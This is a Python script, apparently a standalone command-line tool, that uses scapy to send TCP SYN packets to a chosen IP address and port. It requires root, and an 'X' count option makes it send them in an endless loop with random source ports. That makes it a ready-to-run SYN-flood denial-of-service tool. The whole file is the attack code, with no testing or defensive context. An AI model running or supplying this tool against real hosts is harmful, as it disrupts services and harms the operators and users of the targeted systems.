import sys
import random
import logging
# omit the IPv6 error displayed by importing scapy
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import argparse
import os
import urllib2

if os.getuid() != 0:
    print("You need to run this program as root for it to function correctly.")
    sys.exit(1)

parser = argparse.ArgumentParser(
    description='This tool sends SYN requests to the specified target.')
parser.add_argument('-d', action="store", dest='dest',
    help='The destination IP address for the SYN packet')
parser.add_argument('-c', action="store", dest='count',
    help='The amount of SYN packets to send (X for unlimited)')
parser.add_argument('-p', action="store", dest='port', default=80,
    help='The destination port for the SYN packet')
args = parser.parse_args()
if len(sys.argv) == 1:      # display help text if no arguments are entered
    parser.print_help()
    sys.exit(1)
args = vars(args)           # converts the arguments into dictionary format for easier retrieval

iterationCount = 0
if args['count'] == "X" or args['count'] == "x":
    a = IP(dst=args['dest'])/TCP(flags="S", sport=RandShort(), dport=int(args['port']))
    while True:
        send(a, verbose=0)
        iterationCount = iterationCount + 1
        #print(str(iterationCount) + " packets sent")
else:
    a = IP(dst=args['dest'])/TCP(flags="S", sport=RandShort(), dport=int(args['port']))
    while iterationCount < int(args['count']):
        send(a, verbose=0)
        iterationCount = iterationCount + 1
        print(str(iterationCount) + " packets sent")

print("all packets sent successfully")
